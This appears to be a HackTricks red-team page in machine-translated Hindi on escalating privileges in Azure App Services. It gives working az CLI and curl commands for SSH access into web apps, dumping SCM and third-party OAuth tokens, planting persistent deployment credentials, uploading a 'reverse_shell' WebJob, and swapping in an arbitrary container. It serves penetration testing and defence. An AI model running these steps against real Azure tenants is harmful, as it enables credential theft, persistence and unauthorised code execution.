Az - App Services Privesc

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

App Services

Azure App सेवाओं के बारे में अधिक जानकारी के लिए देखें:

Az - Azure App Services

Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

ये अनुमतियाँ एक वेब ऐप के अंदर SSH शेल प्राप्त करने की अनुमति देती हैं। ये एप्लिकेशन को डिबग करने की भी अनुमति देती हैं।

  • एकल कमांड में SSH:
bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
  • टनल बनाएं और फिर SSH से कनेक्ट करें:
bash
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
  • ऐप्लिकेशन को डिबग करें:
  1. VScode में Azure एक्सटेंशन इंस्टॉल करें।
  2. एक्सटेंशन में Azure खाते से लॉगिन करें।
  3. सब्सक्रिप्शन के अंदर सभी ऐप सेवाओं की सूची बनाएं।
  4. उस ऐप सेवा का चयन करें जिसे आप डिबग करना चाहते हैं, राइट-क्लिक करें और "स्टार्ट डिबगिंग" चुनें।
  5. यदि ऐप में डिबगिंग सक्षम नहीं है, तो एक्सटेंशन इसे सक्षम करने की कोशिश करेगा लेकिन आपके खाते को ऐसा करने के लिए अनुमति Microsoft.Web/sites/config/write की आवश्यकता है।

SCM क्रेडेंशियल्स प्राप्त करना और बेसिक ऑथेंटिकेशन सक्षम करना

SCM क्रेडेंशियल्स प्राप्त करने के लिए, आप निम्नलिखित कमांड और अनुमतियों का उपयोग कर सकते हैं:

  • अनुमति Microsoft.Web/sites/publishxml/action कॉल करने की अनुमति देती है:
bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]

ध्यान दें कि उपयोगकर्ता नाम हमेशा समान होता है (सिवाय FTP के, जो ऐप का नाम शुरुआत में जोड़ता है) लेकिन पासवर्ड सभी के लिए समान होता है

इसके अलावा, SCM URL है <app-name>.scm.azurewebsites.net

  • अनुमति Microsoft.Web/sites/config/list/action कॉल करने की अनुमति देती है:
bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}

ध्यान दें कि क्रेडेंशियल्स वही हैं जो पिछले कमांड में थे।

  • एक और विकल्प होगा कि आप अपने खुद के क्रेड्स सेट करें और उनका उपयोग करें:
bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show

# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'

# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp

फिर, आप इन क्रेडेंशियल्स का उपयोग SCM और FTP प्लेटफार्मों तक पहुँचने के लिए कर सकते हैं। यह स्थिरता बनाए रखने का एक शानदार तरीका भी है।

याद रखें कि वेब से SCM प्लेटफार्म तक पहुँचने के लिए आपको <SCM-URL>/BasicAuth पर पहुँचने की आवश्यकता है।

warning

ध्यान दें कि हर उपयोगकर्ता पिछले कमांड को कॉल करके अपने स्वयं के क्रेडेंशियल्स कॉन्फ़िगर कर सकता है, लेकिन यदि उपयोगकर्ता के पास SCM या FTP तक पहुँचने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो क्रेडेंशियल्स काम नहीं करेंगे।

  • यदि आप देखते हैं कि वे क्रेडेंशियल्स REDACTED हैं, तो इसका मतलब है कि आपको SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है और इसके लिए आपको दूसरी अनुमति (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) की आवश्यकता है:
bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

Publish code using SCM credentials

सिर्फ वैध SCM क्रेडेंशियल्स होने पर कोड प्रकाशित करना संभव है App सेवा में। यह निम्नलिखित कमांड का उपयोग करके किया जा सकता है।

इस पायथन उदाहरण के लिए, आप https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart से रेपो डाउनलोड कर सकते हैं, कोई भी परिवर्तन कर सकते हैं और फिर ज़िप कर सकते हैं: zip -r app.zip .

फिर आप निम्नलिखित कमांड के साथ एक वेब ऐप में कोड प्रकाशित कर सकते हैं:

bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"

Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials

उल्लेखित Azure अनुमति कई दिलचस्प क्रियाएँ करने की अनुमति देती है जो SCM क्रेडेंशियल्स के साथ भी की जा सकती हैं:

  • पढ़ें Webjobs लॉग:
bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
  • Webjobs स्रोत कोड पढ़ें:
bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
  • निरंतर Webjob बनाएं:
bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'

Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

ये अनुमतियाँ एक प्रबंधित पहचान को ऐप सेवा में सौंपने की अनुमति देती हैं, इसलिए यदि कोई ऐप सेवा पहले से ही समझौता की गई थी, तो यह हमलावर को ऐप सेवा में नई प्रबंधित पहचानों को सौंपने और अधिकारों को बढ़ाने की अनुमति देगा।

bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>

Microsoft.Web/sites/config/list/action

यह अनुमति कनेक्शन स्ट्रिंग्स और App सेवा के ऐपसेटिंग्स को सूचीबद्ध करने की अनुमति देती है, जिसमें संवेदनशील जानकारी जैसे डेटाबेस क्रेडेंशियल्स हो सकते हैं।

bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>

Read Configured Third Party Credentials

निम्नलिखित कमांड चलाकर तीसरे पक्ष के क्रेडेंशियल्स को पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर किए गए हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर किए गए हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।

यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Update App Code from the source

  • यदि कॉन्फ़िगर किया गया स्रोत एक तृतीय-पक्ष प्रदाता है जैसे Github, BitBucket या Azure Repository, तो आप कोड अपडेट कर सकते हैं App सेवा का स्रोत कोड को समझौता करके।
  • यदि ऐप को रिमोट गिट रिपॉजिटरी (यूजरनेम और पासवर्ड के साथ) का उपयोग करके कॉन्फ़िगर किया गया है, तो URL और बेसिक ऑथ क्रेडेंशियल्स प्राप्त करना संभव है ताकि क्लोन और परिवर्तन पुश किए जा सकें:
  • अनुमति का उपयोग करते हुए Microsoft.Web/sites/sourcecontrols/read: az webapp deployment source show --name <app-name> --resource-group <res-group>
  • अनुमति का उपयोग करते हुए Microsoft.Web/sites/config/list/action:
  • az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
  • az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
  • यदि ऐप को लोकल गिट रिपॉजिटरी का उपयोग करने के लिए कॉन्फ़िगर किया गया है, तो रिपॉजिटरी क्लोन करना और परिवर्तन पुश करना संभव है:
  • अनुमति का उपयोग करते हुए Microsoft.Web/sites/sourcecontrols/read: आप गिट रिपॉजिटरी का URL प्राप्त कर सकते हैं az webapp deployment source show --name <app-name> --resource-group <res-group>, लेकिन यह ऐप के SCM URL के समान होगा जिसमें पथ /<app-name>.git है (जैसे https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git)।
  • SCM क्रेडेंशियल प्राप्त करने के लिए आपको अनुमति की आवश्यकता है:
  • Microsoft.Web/sites/publishxml/action: फिर चलाएँ az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
  • Microsoft.Web/sites/config/list/action: फिर चलाएँ az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>

warning

ध्यान दें कि अनुमति Microsoft.Web/sites/config/list/action और SCM क्रेडेंशियल्स होने पर हमेशा एक वेब ऐप में तैनात करना संभव है (भले ही इसे तृतीय-पक्ष प्रदाता का उपयोग करने के लिए कॉन्फ़िगर किया गया हो) जैसा कि पिछले अनुभाग में उल्लेख किया गया है।

warning

ध्यान दें कि नीचे दी गई अनुमतियों के साथ यह भी एक मनमाना कंटेनर निष्पादित करना संभव है भले ही वेब ऐप को अलग तरीके से कॉन्फ़िगर किया गया हो।

Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read

यह अनुमतियों का सेट है जो कंटेनर को संशोधित करने की अनुमति देता है जिसका उपयोग एक वेब ऐप द्वारा किया जाता है। एक हमलावर इसका दुरुपयोग करके एक वेब ऐप को एक दुर्भावनापूर्ण कंटेनर निष्पादित करने के लिए मजबूर कर सकता है।

bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें